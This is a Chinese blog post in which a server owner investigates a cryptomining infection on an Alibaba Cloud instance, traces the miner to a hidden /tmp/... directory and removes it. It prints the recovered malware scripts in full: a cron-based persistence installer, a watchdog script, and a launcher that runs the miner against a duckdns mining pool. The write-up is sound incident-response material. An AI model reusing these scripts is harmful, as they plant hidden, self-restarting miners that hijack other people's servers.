一:早上起来,发现短信邮箱都收到阿里云提示,租赁的一台虚拟云服务器,异地登录,被植入挖矿程序的提示;

二:打开电脑,终端连接服务器,发现登录不进去,第一反应,远程连接密码被修改,登录阿里云控制台,修改服务器实例密码,重启服务器,重新连接服务器;

1.登录后,首先查看服务器操作日志:

很显然,是被清理了

2.查看物理内存,物理内存占用不高:

3.查看运用运行情况,发现占用 cpu 较大的应用为r64 和 java两个进程:

强制杀死两个进程,过上几秒钟,两个进程都会重启;可以确认两个进程有定时任务在启动

4.根据 top 时 java 进程号,查看文件:

此处执行下列命令:

cd /proc/6897 && ls -la

发现  进程号是 6897 的 java 文件的进程信息,文件信息

根据上图(上左) java 文件目录 /usr/local/cloudmonitor/  找到对应的 java 文件(上右)。从文件的创建时间,知道文件是阿里云系统部分的,原有的,排除;

5.根据 top 上 r64 进程号

执行命令 cd /proc/7749 && ls -la   --> 下左图

执行命令 ls -la ./fd --> 下右图

对于 由进程号的查询,得到 文件:/tmp/.../r64

6.进入 /tmp/  执行 ll

通过查找,在 /tmp 下 没有发现 r64,想到在 步骤 5 有 exe -> /tmp/.../r64, 必定有文件 r64,就将文件  /tmp/.../r64 移到 / 下 。

将该文件移除后,杀死对应进程 kill  -9 7749

执行 top 命令后 , CPU恢复正常;

考虑到 步骤  3 ,将 r64 运用的进程 kill -9 后,过了一段时间 运用又运行起来,同时查看 /etc/crontab

觉得肯定还有其他文件。

对于 /tmp/.../r64 ,切换到 /tmp 没找到文件 r64,但是  /tmp/.../r64 是存在的,就 cd /tmp/...  进入目录  /tmp/...

执行命令 ls

7、在 /tmp/... 下执行命令 cd ..

执行命令 ls -la 得到下图

对三个点不理解,查看资料:①.:  表示当前目录

②..:表示上一级目录

③...  :表示当前目录下的隐藏目录,第一个 . 表示是隐藏文件的标志,第二三个点是文件名

将其下载至本地:

8.将上面的文件删除

9.对上面文件的解读:

x文件:

nohup ./a >>/dev/null &    #非终端情况下运行 当前路径下的a文件,将日志抛入dve/null中,&:表示后台运行

upd:

#!/bin/sh
if test -r /tmp/.../bash.pid; then
pid=$(cat /tmp/.../bash.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
sleep 1
else
cd /tmp/...
./run &>/dev/null
exit 0
fi
fi

a文件:

pwd > dir.dir                                          #将运用的路径添加到dir.dir文件中
dir=$(cat dir.dir)                                     #获取当前运用的路径
echo "* * * * * $dir/upd >/dev/null 2>&1" > cron.d     #将“* * * * * $dir/upd >/dev/null 2>&1”覆盖到cron.d文件中
crontab cron.d                                         #声明cron.d 为定时器
crontab -l | grep upd                                  #列出upd的定时器
echo "#!/bin/sh                                        #将“”中的内容覆盖到upd中
if test -r $dir/bash.pid; then
pid=\$(cat $dir/bash.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
sleep 1
else
cd $dir
./run &>/dev/null
exit 0
fi
fi" >upd
chmod u+x upd                                          #赋予upd可执行权限
./run &>/dev/null                                      #运行run文件 并将所有日志抛入/dev/null中

run文件:

#!/bin/bashARCH=`uname -m`            #获取服务器架构
CPU=`nproc`                #获取CPU内核数量if [ "$ARCH" == "x86_64" ] && [ "$CPU" == "48" ];
then./t -s "-sh" -d -p bash.pid ./r64 -o stratum+tcp://miningv3.duckdns.org:9 --nicehash -p x -k -B --cpu-affinity 0xffffffffffff -t 48 >>/dev/null &
elif [ "$ARCH" == "x86_64" ] && [ "$CPU" == "40" ];
then./t -s "-sh" -d -p bash.pid ./r64 -o stratum+tcp://miningv3.duckdns.org:9 --nicehash -p x -k -B --cpu-affinity 0xfffffffffff -t 40 >>/dev/null &
elif [ "$ARCH" == "x86_64" ] && [ "$CPU" == "32" ];
then./t -s "-sh" -d -p bash.pid ./r64 -o stratum+tcp://miningv3.duckdns.org:9 --nicehash -p x -k -B --cpu-affinity 0xffffffff -t 32 >>/dev/null &
elif [ "$ARCH" == "x86_64" ] && [ "$CPU" == "16" ];
then./t -s "-sh" -d -p bash.pid ./r64 -o stratum+tcp://miningv3.duckdns.org:9 --nicehash -p x -k -B --cpu-affinity 0xffff -t 16 >>/dev/null &
elif [ "$ARCH" == "x86_64" ] && [ "$CPU" == "8" ];
then./t -s "-sh" -d -p bash.pid ./r64 -o stratum+tcp://miningv3.duckdns.org:9 --nicehash -p x -k -B --cpu-affinity 0xff -t 8 >>/dev/null &
elif [ "$ARCH" == "x86_64" ] && [ "$CPU" == "6" ];
then ./t -s "-sh" -d -p bash.pid ./r64 -o stratum+tcp://miningv3.duckdns.org:9 --nicehash -p x -k -B --cpu-affinity 0xff -t 6 >>/dev/null &
elif [ "$ARCH" == "x86_64" ] && [ "$CPU" == "4" ];
then./t -s "-sh" -d -p bash.pid ./r64 -o stratum+tcp://miningv3.duckdns.org:9 --nicehash -p x -k -B --cpu-affinity 0xf -t 4 >>/dev/null &
elif [ "$ARCH" == "x86_64" ] && [ "$CPU" == "2" ] || [ "$CPU" == "1" ];
then./t -s "-sh" -d -p bash.pid ./r64 -o stratum+tcp://miningv3.duckdns.org:9 --nicehash -p x -k -B --cpu-affinity 0xf -t 2 >>/dev/null &
fi
echo $! > bash.pid   #启动t,设置进程,启动r64. 其中:stratum+tcp 矿池协议,//miningv3.duckdns.org:9 挖矿连接  后面的看不懂

dir.dir文件

/tmp/...

cron.d文件

* * * * * /tmp/.../upd >/dev/null 2>&1

记一次个人服务器被nicehash挖矿,排查挖矿程序记录相关推荐

  1. 记一次Linux服务器因redis漏洞的挖矿病毒入侵

    中毒原因,redis bind 0.0.0.0 而且没有密码,和安全意识太薄弱. 所以,redis一定要设密码,改端口,不要用root用户启动,如果业务没有需要,不要bind 0.0.0.0!!!!! ...

  2. 【记】微信支付服务器证书更换通知的验证流程

    [记]微信支付服务器证书更换通知的验证流程 原文:[记]微信支付服务器证书更换通知的验证流程 [重要]微信支付服务器证书更换通知,请开发人员验证以免影响交易 尊敬的微信支付商户&服务商: 因微 ...

  3. 服务器被黑客用来挖矿?怎么办?

    哈喽,大家好,我是老表- 昨天下午一个朋友和我说,他的服务器被阿里云监测出来在挖矿,然后阿里云官方把服务器给关停了. 不用急,这个时候最简单的方法是在阿里云里提一个工单,反馈相关问题. 解禁服务器 要 ...

  4. 记一次服务器负载飙高排查过程

    记一次服务器负载飙高排查过程 问题描述 在前天呢,我们公司的三台部署着php项目的线上服务器A.B.C,其中一台服务器A出现了CPU负载飙高,与其他两台服务器相差好几倍,并且在前天之前都没有出现过这么 ...

  5. mysql zimbra_记一次zimbra服务器故障导致mysql起不来问题

    记一次zimbra服务器故障导致mysql起不来问题 记一次zimbra服务器故障导致mysql起不来问题 服务器有一天突然访问不了,局域网连接不上,去机房查看,硬盘灯亮着,屏黑的,按电源键没法关机, ...

  6. 记一次华为服务器装centos6.8系统

    记一次华为服务器装centos6.8系统 纯文本没截图,不要问我为什么,写给自己看的,二天忘了好看= =. [直接开车!!!] 纯文本没截图,不要问我为什么,写给自己看的,二天忘了好看= =. [直接 ...

  7. linux服务器遭攻击,记一次linux服务器被攻击与防护

    2016年5月12日14点左右接到客服通知说,"网站炸了". 打开SecureCRT,远程登录服务器,top一看负载,平均负载到了100多,要知道平时也就是2-3左右. 查看是ht ...

  8. 阿里云服务器---排查挖矿病毒

    1.背景 记录一次排查挖矿病毒的过程,其实都是按照阿里云官方教程操作,其中有些操作命令需要重点记录下,为后面生产环境做铺垫学习. 重要:经过近一个月的努力,最终还是放弃了,杀之不尽,大家就看看它长啥样 ...

  9. vmware 搭建k8s无法ping通子节点_一波四折 —— 记一次K8S集群应用故障排查

    一波四折--记一次K8S集群应用故障排查Part1 初露端倪 一个周四的下午,客户的报障打破了微信群的平静. "我们部署在自建K8S集群上的应用突然无法正常访问了,现在业务受到了影响!&qu ...

最新文章

  1. ASP.NET Menu控件子菜单弹出导致页面出现滚动条问题
  2. 勤于思考:从客户端中检测到有潜在危险的 Request.Form 值
  3. wireshark无权限
  4. java string转number_Java运算符知识点总结
  5. 如何安装Windows操作系统?(二)安装启动项杂谈
  6. |Tyvj|NOIP2004|堆|贪心|P1066 合并果子
  7. 新的一年,如何高效学习前端前沿知识~
  8. 什么是java cdm_Java-ORM数据库框架CDM介绍
  9. 视频识别车牌号(Python)
  10. QT+VS开发界面入门(qt界面在VS2022实现自动生成槽函数)
  11. 景区门票预约系统如何开发
  12. ODB 入门介绍(一)
  13. 二叉树期权定价与BSM期权定价
  14. 【技术】Leaflet 地图,惭愧惭愧
  15. HTML|下拉框和文本域、文件域
  16. 计算机基础在线网络课程,欢迎访问大学计算机基础网络课程
  17. Why Functional Programming Matters 函数式程序设计为什么至关重要
  18. 科研工具篇|看完之后能提高你80%的科研工作效率
  19. Micro LED将引领小间距显示的未来。
  20. 毕业论文设置图序号为图1-1,而不是图一-1,同时设置题注方便交叉引用

热门文章

  1. 新闻发布系统之增删改查
  2. 矢量数据shp七个文件介绍_读取矢量数据
  3. <2021SC@SDUSC>博客(9)山东大学软件工程应用与实践Jpress代码分析(8)
  4. android 刘海屏适配方法
  5. 拒绝成为肉鸡 教你几招让黑客永远抓不到你
  6. Python使用嵌套循环实现图像处理算法
  7. 高校体育场地预约管理系统(Java Web毕业设计)
  8. 【面经】阿里数据研发三面面经
  9. 浏览器 user agent
  10. 计算机网络根据其规模大小和延伸范围,网络管理员考试计算机网络的分类